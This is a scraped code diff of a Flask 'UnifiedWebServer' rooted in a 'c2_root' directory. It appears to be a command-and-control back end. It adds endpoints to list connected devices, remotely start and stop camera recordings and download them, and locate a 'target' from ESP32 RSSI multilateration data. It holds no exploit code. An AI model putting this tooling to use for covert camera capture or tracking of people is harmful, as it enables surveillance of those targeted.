||||
|
||||
@app.route("/recordings/<filename>")
|
||||
@require_login
|
||||
def download_recording(filename):
|
||||
recordings_dir = os.path.join(c2_root, "static", "recordings")
|
||||
return send_from_directory(recordings_dir, filename, as_attachment=True)
|
||||
|
||||
# ========== Device API ==========
|
||||
|
||||
@app.route("/api/devices")
|
||||
@require_api_auth
|
||||
def api_devices():
|
||||
"""Get list of connected devices."""
|
||||
if web_server.device_registry is None:
|
||||
return jsonify({"error": "Device registry not available", "devices": []})
|
||||
|
||||
@ -210,7 +216,6 @@ class UnifiedWebServer:
|
||||
@app.route("/api/cameras")
|
||||
@require_api_auth
|
||||
def api_cameras():
|
||||
"""Get list of active cameras."""
|
||||
full_image_dir = os.path.join(c2_root, web_server.image_dir)
|
||||
try:
|
||||
cameras = [
|
||||
@ -221,24 +226,68 @@ class UnifiedWebServer:
|
||||
except FileNotFoundError:
|
||||
cameras = []
|
||||
|
||||
return jsonify({"cameras": cameras, "count": len(cameras)})
|
||||
# Add recording status if receiver available
|
||||
result = {"cameras": [], "count": len(cameras)}
|
||||
for cam_id in cameras:
|
||||
cam_info = {"id": cam_id, "recording": False}
|
||||
if web_server.camera_receiver:
|
||||
status = web_server.camera_receiver.get_recording_status(cam_id)
|
||||
cam_info["recording"] = status.get("recording", False)
|
||||
cam_info["filename"] = status.get("filename")
|
||||
result["cameras"].append(cam_info)
|
||||
|
||||
result["count"] = len(result["cameras"])
|
||||
return jsonify(result)
|
||||
|
||||
# ========== Recording API ==========
|
||||
|
||||
@app.route("/api/recording/start/<camera_id>", methods=["POST"])
|
||||
@require_api_auth
|
||||
def api_recording_start(camera_id):
|
||||
if not web_server.camera_receiver:
|
||||
return jsonify({"error": "Camera receiver not available"}), 503
|
||||
|
||||
result = web_server.camera_receiver.start_recording(camera_id)
|
||||
if "error" in result:
|
||||
return jsonify(result), 400
|
||||
return jsonify(result)
|
||||
|
||||
@app.route("/api/recording/stop/<camera_id>", methods=["POST"])
|
||||
@require_api_auth
|
||||
def api_recording_stop(camera_id):
|
||||
if not web_server.camera_receiver:
|
||||
return jsonify({"error": "Camera receiver not available"}), 503
|
||||
|
||||
result = web_server.camera_receiver.stop_recording(camera_id)
|
||||
if "error" in result:
|
||||
return jsonify(result), 400
|
||||
return jsonify(result)
|
||||
|
||||
@app.route("/api/recording/status")
|
||||
@require_api_auth
|
||||
def api_recording_status():
|
||||
if not web_server.camera_receiver:
|
||||
return jsonify({"error": "Camera receiver not available"}), 503
|
||||
|
||||
camera_id = request.args.get("camera_id")
|
||||
return jsonify(web_server.camera_receiver.get_recording_status(camera_id))
|
||||
|
||||
@app.route("/api/recordings")
|
||||
@require_api_auth
|
||||
def api_recordings_list():
|
||||
if not web_server.camera_receiver:
|
||||
return jsonify({"recordings": []})
|
||||
|
||||
return jsonify({"recordings": web_server.camera_receiver.list_recordings()})
|
||||
|
||||
# ========== Trilateration API ==========
|
||||
|
||||
@app.route("/api/mlat/collect", methods=["POST"])
|
||||
@require_api_auth
|
||||
def api_mlat_collect():
|
||||
"""
|
||||
Receive multilateration data from ESP32 scanners.
|
||||
|
||||
Expected format (text/plain):
|
||||
ESP_ID;(x,y);rssi
|
||||
ESP3;(10.0,0.0);-45
|
||||
"""
|
||||
raw_data = request.get_data(as_text=True)
|
||||
count = web_server.mlat.parse_data(raw_data)
|
||||
|
||||
# Recalculate position after new data
|
||||
if count > 0:
|
||||
web_server.mlat.calculate_position()
|
||||
|
||||
@ -250,10 +299,8 @@ class UnifiedWebServer:
|
||||
@app.route("/api/mlat/state")
|
||||
@require_api_auth
|
||||
def api_mlat_state():
|
||||
"""Get current multilateration state (scanners + target)."""
|
||||
state = web_server.mlat.get_state()
|
||||
|
||||
# Include latest calculation if not present
|
||||
if state["target"] is None and state["scanners_count"] >= 3:
|
||||
result = web_server.mlat.calculate_position()
|
||||
if "position" in result:
|
||||
@ -269,7 +316,6 @@ class UnifiedWebServer:
|
||||
@app.route("/api/mlat/config", methods=["GET", "POST"])
|
||||
@require_api_auth
|
||||
def api_mlat_config():
|
||||
"""Get or update multilateration configuration."""
|
||||
if request.method == "POST":
|
||||
data = request.get_json() or {}
|
||||
web_server.mlat.update_config(
|
||||
@ -287,7 +333,6 @@ class UnifiedWebServer:
|
||||
@app.route("/api/mlat/clear", methods=["POST"])
|
||||
@require_api_auth
|
||||
def api_mlat_clear():
|
||||
"""Clear all multilateration data."""
|
||||
web_server.mlat.clear()
|
||||
return jsonify({"status": "ok"})
|
||||
|
||||
@ -296,7 +341,6 @@ class UnifiedWebServer:
|
||||
@app.route("/api/stats")
|
||||
@require_api_auth
|
||||
def api_stats():
|
||||
"""Get overall server statistics."""
|
||||
full_image_dir = os.path.join(c2_root, web_server.image_dir)
|
||||
try:
|
||||
camera_count = len([
|
||||
|
||||
Loading…
Reference in New Issue
Block a user